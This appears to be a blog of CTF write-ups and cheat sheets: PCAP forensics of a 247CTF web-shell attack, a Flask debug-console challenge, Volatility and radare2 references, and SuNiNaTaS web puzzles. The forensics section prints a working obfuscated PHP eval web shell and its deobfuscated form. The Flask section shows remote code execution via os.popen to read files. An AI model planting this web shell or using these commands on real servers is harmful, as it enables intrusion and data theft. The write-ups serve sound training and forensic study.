Hello Navi

Tech, Security & Personal Notes

Challenge Description

1
2
3
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?

我们的网络服务器再次遭到入侵,我们不太清楚攻击者的具体意图。幸运的是,我们只使用HTTP协议,并且在攻击期间成功捕获了网络流量!你能看出攻击者的意图吗?

Tools Used: Wireshark, Scapy, Python3


1. Initial Traffic Discovery

We start by analyzing the PCAP file to identify interesting HTTP interactions. Using a simple Scapy script, we can filter for 200 OK responses to see what the server was returning.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import *

PCAP_FILE = "web_shell.pcap"

packages = rdpcap(PCAP_FILE)
for i, p in enumerate(packages):
if p.haslayer(Raw):
raw = p[Raw].load
if b"200 OK" in raw:
try:
print(f"[*] Packet {i+1} | Length: {len(raw)}")
print(raw.decode())
print("-" * 20)
except:
continue

In the output, we notice a file upload form and a confirmation that owned.php was uploaded:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Packet 16640
HTTP/1.1 200 OK
...
<body>
<form enctype="multipart/form-data" action="uploader.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
The file owned.php has been uploaded

Checking the preceding packets (around index 16638), we find the content of the uploaded owned.php.


2. Analyzing the Malicious Web Shell

The uploaded file owned.php contains an obfuscated PHP script.

1
2
3
4
5
6
7
8
9
10
<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>

By removing the noise (replacing [Z and eq), we can reconstruct the logic. It's a sophisticated web shell (similar to Behinder or Godzilla) that uses XOR encryption and Zlib compression for C2 traffic.

Deobfuscated Logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$k = "81aebe18"; // XOR Key
$kh = "775d4f83f4e0"; // Header Marker
$kf = "0120dd0bccc6"; // Footer Marker
$p = "kkqES1eCIzoxyHXb"; // Response Prefix

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o .= $t{$i}^$k{$j};
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
// Decrypt: Base64 -> XOR -> Zlib Uncompress -> Eval
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
// Encrypt: Zlib Compress -> XOR -> Base64
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}

3. Decrypting C2 Traffic

Now that we have the key (81aebe18) and the protocol markers, we can decrypt the subsequent traffic. We notice the attacker is executing commands like ls and xxd to read a file named y_flag_here.txt one byte at a time.

Example of a decrypted request: chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');


4. Automated Flag Reconstruction

To get the full flag, we need to iterate through all packets, decrypt the requests to find the offset (-s parameter in xxd), and decrypt the responses to find the hex value of the character at that offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""
Scapy HTTP/Webshell Traffic Analyzer
------------------------------------
A specialized utility for extracting and decrypting payloads from PCAP files,
targeting traffic typical of PHP webshells (e.g., Behinder, AntSword).
Includes logic for XOR decryption, Zlib decompression, and flag assembly.
"""

import base64
import re
import urllib.parse
import zlib

from scapy.all import *

# --- Configuration & Constants ---
PCAP_FILE = "/home/kita/Downloads/web_shell.pcap"

# Cryptographic Keys (Typical for Behinder/Godzilla style webshells)
KEY = b"81aebe18"
KH = b"775d4f83f4e0" # Header marker
KF = b"0120dd0bccc6" # Footer marker
KP = b"kkqES1eCIzoxyHXb" # Response prefix

# Global state for flag extraction
flag_data = {} # Maps offset -> character
current_offset = -1

# --- Logic Functions ---


def decrypt_payload(b64_data):
"""
Decrypts a payload using the sequence: URL Decode -> Base64 -> XOR -> Zlib.
"""
try:
# 1. URL Decode
clean_data = urllib.parse.unquote_to_bytes(b64_data)

# 2. Fix Base64 padding if necessary
clean_data += b"=" * (-len(clean_data) % 4)
decoded = base64.b64decode(clean_data)

# 3. XOR Decryption
k_len = len(KEY)
xored = bytearray(a ^ KEY[i % k_len] for i, a in enumerate(decoded))

# 4. Zlib Decompression
return zlib.decompress(xored).decode("utf-8", errors="ignore")
except Exception as e:
return f"[!] Decryption Error: {e}"


def extract_flag_fragment(raw_text):
"""
Parses decrypted output to identify flag fragments extracted via 'xxd'.
Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response.
"""
global current_offset
raw_text = raw_text.strip()
if not raw_text:
return

# Match Request: Extract offset from xxd command
if "xxd -p -l1 -s" in raw_text:
match = re.search(r"-s(\d+)", raw_text)
if match:
current_offset = int(match.group(1))

# Match Response: If we have an offset, convert hex response to char
elif current_offset != -1 and re.match(r"^[0-9a-fA-F]{2}$", raw_text):
try:
char = bytes.fromhex(raw_text).decode("utf-8")
flag_data[current_offset] = char
print(
f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'"
)
except Exception as e:
print(f"[-] Decode error: {e}")
finally:
current_offset = -1


def process_pcap(packets, regex):
"""Iterates through packets, searching for encrypted payloads via regex."""
print(f"[*] Analyzing {len(packets)} packets...")

for i, p in enumerate(packets):
if p.haslayer(Raw):
raw_payload = p[Raw].load
match = re.search(regex, raw_payload)
if match:
decrypted = decrypt_payload(match.group(1))
print(f"[*] Packet {i + 1} matched.")
# print(f"Raw: {match.group(1)[:50]}...") # Debug
print(f"Decrypted: {decrypted}")

extract_flag_fragment(decrypted)
print("-" * 30)


def print_final_flag():
"""Sorts fragments by offset and prints the assembled flag."""
if not flag_data:
print("\n[-] No flag fragments found in the analyzed packets.")
return

sorted_chars = [flag_data[k] for k in sorted(flag_data.keys())]
final_flag = "".join(sorted_chars)

print("\n" + "=" * 40)
print("\033[93m[*] FINAL ASSEMBLED FLAG:\033[0m")
print(f"\033[96m{final_flag}\033[0m")
print("=" * 40 + "\n")


# --- Debug Utilities ---


def check_packet_by_content(packets, content):
"""Heuristic search for specific raw bytes in a PCAP."""
for i, p in enumerate(packets):
if p.haslayer(Raw) and content in p[Raw].load:
print(f"[*] Content found in Packet {i + 1}")
print(p[Raw].load.decode(errors="ignore"))


# --- Main Execution ---

if __name__ == "__main__":
try:
# Load necessary layers
load_layer("tls")

# Load PCAP
pkts = rdpcap(PCAP_FILE)

# Regex to capture content between specific webshell markers
payload_regex = KH + b"(.+?)" + KF

# Execute analysis
process_pcap(pkts, payload_regex)
print_final_flag()

except FileNotFoundError:
print(f"[-] Error: PCAP file not found at {PCAP_FILE}")
except Exception as e:
print(f"[-] Fatal error: {e}")

Result

Running the script assembles the flag from the fragmented xxd exfiltration.

Flag

247CTF{56485cc07ac3d0bf97b3022a2f97248c}

Find a bug and trigger an exception in a Flask web application to access the debug console.

Vulnerability

Flask debug mode with DebuggedApplication and evalex=True allows interactive code execution through the debugger console. The calculator endpoint accepts division operations and lacks proper exception handling.

Solution

Step 1: Trigger an Exception

Send a division by zero request to the calculator:

1
https://9894a61910fb83f2.247ctf.com/calculator?number_1=1&number_2=0&operation=%2f

Step 2: Execute Arbitrary Python

The debug console opens. Execute commands to read the flag:

1
2
>>> __import__('os').popen('cat ./flag.txt').read()
'247CTF{0e310979093ef6309adcbcb418145200}\n'

Key Insight

Never enable Flask debug mode in production. The Werkzeug debugger with evalex=True provides a complete interactive Python console, allowing arbitrary code execution with the web server's privileges.

Flag

247CTF{0e310979093ef6309adcbcb418145200}

General Usage

Use -f to specify the memory image and -s for symbol directories if they are not in the default path.

1
2
3
4
5
6
7
# Basic syntax
vol -f <image> <plugin>

# Common flags
-f, --file <image> # Path to the memory dump
-s, --symbol-dirs <path> # Custom symbol tables directory (e.g., ~/ctf/symbolTables)
-o, --output-dir <path> # Directory to save dumped files

System Information

1
2
# Get basic OS information
vol -f image.vmem windows.info.Info

Processes & Activity

1
2
3
4
5
6
7
8
9
10
11
# List processes (EPROCESS list)
vol -f image.vmem windows.pslist.PsList

# Scan for hidden/terminated processes
vol -f image.vmem windows.psscan.PsScan

# Show process parent-child relationships
vol -f image.vmem windows.pstree.PsTree

# Show command line arguments for processes
vol -f image.vmem windows.cmdline.CmdLine

Network

1
2
# Scan for network connections and listening ports
vol -f image.vmem windows.netscan.NetScan

Files & Memory Dumping

1
2
3
4
5
6
7
8
9
10
11
12
# Scan for file objects in memory
vol -f image.vmem windows.filescan.FileScan | grep "filename"

# Dump files using various filters
vol -f image.vmem -o ./ windows.dumpfiles.DumpFiles --pid <PID>
vol -f image.vmem -o ./ windows.dumpfiles.DumpFiles --virtaddr <OFFSET>

# Dump process memory map
vol -f image.vmem -o ./ windows.memmap.Memmap --pid <PID> --dump

# Scan Master File Table (MFT)
vol -f image.vmem windows.mftscan.MFTScan

Useful Tips

1
2
3
4
5
# Combine with grep for quick searching
vol -f image.vmem windows.filescan.FileScan | grep -i "flag"

# Specify custom symbol path if needed
vol -s ~/ctf/symbolTables -f image.vmem windows.info.Info

A concise guide to common operations and tools within the Radare2 framework.


rax2 - Base Conversion

Used for converting between various numerical bases and formats.

Command Line

1
2
3
rax2 0x28       # Hex to decimal
rax2 40 # Decimal to hex
rax2 -h # Show help

Internal (within r2)

Use the ? command to evaluate expressions or convert values.

1
2
[0x00000000]> ? 0x28     # Convert 0x28 to all formats
[0x00000000]> ? 3+4 # Evaluate basic math

rabin2 - Binary Information

Extracts information from executable files (imports, exports, strings, etc.).

Common Commands

1
2
3
4
5
rabin2 -I file  # General binary info (arch, OS, bits, etc.)
rabin2 -z file # List strings in data sections
rabin2 -zz file # List strings in the entire binary
rabin2 -i file # List imports (linked libraries/functions)
rabin2 -e file # List entry points

radare2 (r2) - Core Interactive Tool

The main interface for disassembly, analysis, and debugging.

Startup

1
2
3
r2 -A file      # Open file and run analysis (aaa)
r2 -w file # Open file in write mode
r2 file # Open without any analysis

Information (i)

1
2
3
4
5
i               # Show information about current file
ii # Show information about current function
is # Show information about current symbol
iz # Show information about strings in data sections
iE # Show information about exports(global symbols)
1
2
3
s 0x400500      # Seek to specific address
s main # Seek to 'main' symbol
s - # Seek back to previous location

Analysis (a)

1
2
3
aa              # Basic analysis
aaa # Full analysis (including functions and symbols)
afl # List all analyzed functions

Disassembly & Printing (p)

1
2
3
4
5
pdf             # Print Disassembly of current Function
pdf @ main # Print Disassembly of specific function
pd 10 # Print 10 lines of Disassembly
pD 32 # Print 32 bytes of Disassembly
px 64 # Print 64 bytes of Hexdump

Writing (w)

Note: Requires opening r2 with -w.

1
2
wx 909090       # Write hex bytes (NOPs)
wa nop # Assemble and write a single instruction

Visual Modes (v, V)

1
2
3
4
5
6
7
v               # Open visual panels
V # Enter visual mode
VV # Enter visual graph mode
v test # Load saved layout 'test'
v= test # Save current layout as 'test'
p & P # Switch view
u & U # Undo and Redo seek

rasm2 - Assembler & Disassembler

Quickly assemble or disassemble instructions.

Usage

1
2
3
4
5
# Assemble an instruction (x86, 64-bit)
rasm2 -a x86 -b 64 "nop"

# Disassemble hex code (machine code)
rasm2 -a x86 -b 64 -d "90"

Useful Shortcuts (Internal)

  • ? - Show general help
  • V - Enter visual mode
  • VV - Enter visual graph mode
  • q - Exit current mode or r2

challenges

Game 01

Code Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%
str = Request("str")

If not str = "" Then
result = Replace(str,"a","aad")
result = Replace(result,"i","in")
result1 = Mid(result,2,2)
result2 = Mid(result,4,6)
result = result1 & result2
Response.write result
If result = "admin" Then
pw = "????????"
End if
End if
%>
  1. Replace(str, "a", "aad"): Replaces every 'a' with 'aad'.
  2. Replace(result, "i", "in"): Replaces every 'i' with 'in'.
  3. Mid(result, 2, 2): Extracts 2 characters starting from the 2nd index.
  4. Mid(result, 4, 6): Extracts up to 6 characters starting from the 4th index.
  5. The goal is to make the final concatenated result equal to admin.

If we input ami: - a -> aad - i -> in - Intermediate result: aadmin - result1 = Mid("aadmin", 2, 2) = ad - result2 = Mid("aadmin", 4, 6) = min - result = ad + min = admin

ami

challenges

Game 03

1
http://suninatas.com/board/notice/write
1q2w3e4r5t6y7u8i9o0p

challenges

Game 02

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
function chk_form() {
var id = document.web02.id.value;
var pw = document.web02.pw.value;
if (id == pw) {
alert("You can't join! Try again");
document.web02.id.focus();
document.web02.id.value = "";
document.web02.pw.value = "";
} else {
document.web02.submit();
}
}
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->

The script prevents the form from being submitted if the id is equal to the pw. However, the hint explicitly states that for the Join challenge, we need id = pw.

Bypass

Intercept the request with a proxy (like Burp Suite or Zaproxy) or use the browser's Network tab to replay a modified request.

id=admin&pw=admin

challenges

Game 04

Hint: Make your point to 50 & 'SuNiNaTaS'

Tool: ZAProxy

Initial Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST http://suninatas.com/challenge/web04/web04_ck.asp HTTP/1.1
host: suninatas.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://suninatas.com
Connection: keep-alive
Referer: http://suninatas.com/challenge/web04/web04.asp
Cookie: ASPSESSIONIDCCTSAAQT=ONMDDJIBNIEMHLLEJFNAAAOJ
Upgrade-Insecure-Requests: 1
Priority: u=0, i

total=0

Solution Steps

  1. Set fuzz location with numbers from 0 → 23
  2. Click plus in browser with the same cookie
  3. Receive alert: "I like the SuNiNaTaS browser!"
  4. Change User-Agent to include "SuNiNaTaS":
1
2
3
4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 SuNiNaTaS/147.0
Cookie: ASPSESSIONIDCCTSAAQT=ONMDDJIBNIEMHLLEJFNAAAOJ

total=25
  1. Fuzz again until points reach 50 (avoid overflow)

Response

1
2
3
4
<td class="table_top">
<font size="2"><b>Auth key</b></font>
</td>
<td class="table_top">***********************</td>

challenges

Game 05

Concepts: JS Packer, JSObfuscator

Challenge Code

1
2
3
4
5
6
7
8
9
10
11
12
<input name="password" value="" style="width:180" />

<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('g l=m o('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');p q(n){g h='';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==''?'0':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))
</script>

<script>
function init() {
document.frm.password.value = "";
document.frm.password.focus();
}
</script>

Deobfuscated Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var digitArray = new Array(
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"a",
"b",
"c",
"d",
"e",
"f",
);

function PASS(n) {
var result = "";
var start = true;
for (var i = 32; i > 0; ) {
i -= 4;
var digit = (n >> i) & 0xf;
if (!start || digit != 0) {
start = false;
result += digitArray[digit];
}
}
return result == "" ? "0" : result;
}

Solution

Convert the hint using the PASS() function:

1
PASS(12342046413275659);
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE